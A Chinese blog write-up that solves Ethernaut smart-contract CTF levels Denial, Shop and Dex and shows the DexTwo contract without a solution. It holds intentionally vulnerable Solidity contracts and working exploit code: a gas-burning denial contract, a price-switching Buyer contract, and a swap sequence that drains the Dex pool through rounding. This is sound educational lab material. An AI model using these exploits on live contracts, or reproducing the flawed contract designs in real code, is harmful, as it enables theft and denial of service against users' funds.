智能合约安全-Ethernaut下篇

让我们畅谈智能合约安全吧

题库

0x15 Denial

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Denial {

address public partner; // withdrawal partner - pay the gas, split the withdraw
address public constant owner = address(0xA9E);
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

function setWithdrawPartner(address _partner) public {
partner = _partner;
}

// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance / 100;
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value:amountToSend}("");
payable(owner).transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = block.timestamp;
withdrawPartnerBalances[partner] += amountToSend;
}

// allow deposit of funds
receive() external payable {}

// convenience function
function contractBalance() public view returns (uint) {
return address(this).balance;
}
}

call 的时候没有检查返回值,在回退函数中写死循环

1
2
3
4
5
6
7
8
9
10
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract MaliciousContract {

receive() external payable {
while(true){}
}
}

然后设置地址

1
await contract.setWithdrawPartner("0x")

0x16 Shop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Buyer {
function price() external view returns (uint);
}

contract Shop {
uint public price = 100;
bool public isSold;

function buy() public {
Buyer _buyer = Buyer(msg.sender);

if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}

两次 price 函数调用不同就可以绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pragma solidity ^0.7;

interface IShop {
function isSold() external view returns (bool);
function buy() external;
}

contract Buyer {
address levelInstance;

constructor(address _levelInstance) {
levelInstance = _levelInstance;
}

function price() public view returns (uint256) {
return IShop(msg.sender).isSold() ? 0 : 100;
}

function buy() public {
IShop(levelInstance).buy();
}
}

0x17 Dex

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import 'openzeppelin-contracts-08/access/Ownable.sol';

contract Dex is Ownable {
address public token1;
address public token2;
constructor() {}

function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}

function addLiquidity(address token_address, uint amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}

function swap(address from, address to, uint amount) public {
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapPrice(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}

function getSwapPrice(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}

function approve(address spender, uint amount) public {
SwappableToken(token1).approve(msg.sender, spender, amount);
SwappableToken(token2).approve(msg.sender, spender, amount);
}

function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}

contract SwappableToken is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply) ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}

function approve(address owner, address spender, uint256 amount) public {
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}

SwappableToken 是 ERC20 的代表,没有什么特殊的地方,看 Dex 合约中几个函数就是添加流动幸福,交换两种代币,以及最为关键的 getSwapPrice 函数用来计算交换价格,问题就在这里除法是向下取整的,也就是 3 除以 2 不是 1.5,而是 1。所以我们可以通过不断的交换手里的两周代币,就可以抽空整个 Dex 中的流动池了。

1
2
3
4
5
6
7
8
9
let a = await contract.token1();
let b = await contract.token2();
await contract.approve(instance, "1000000000000");
await contract.swap(a, b, 10);
await contract.swap(b, a, 20);
await contract.swap(a, b, 24);
await contract.swap(b, a, 30);
await contract.swap(a, b, 41);
await contract.swap(b, a, 45);

0x18 Dex2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import 'openzeppelin-contracts-08/access/Ownable.sol';

contract DexTwo is Ownable {
address public token1;
address public token2;
constructor() {}

function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}

function add_liquidity(address token_address, uint amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}

function swap(address from, address to, uint amount) public {
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapAmount(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}

function getSwapAmount(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}

function approve(address spender, uint amount) public {
SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
}

function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}

contract SwappableTokenTwo is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint initialSupply) ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}

function approve(address owner, address spender, uint256 amount) public {
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}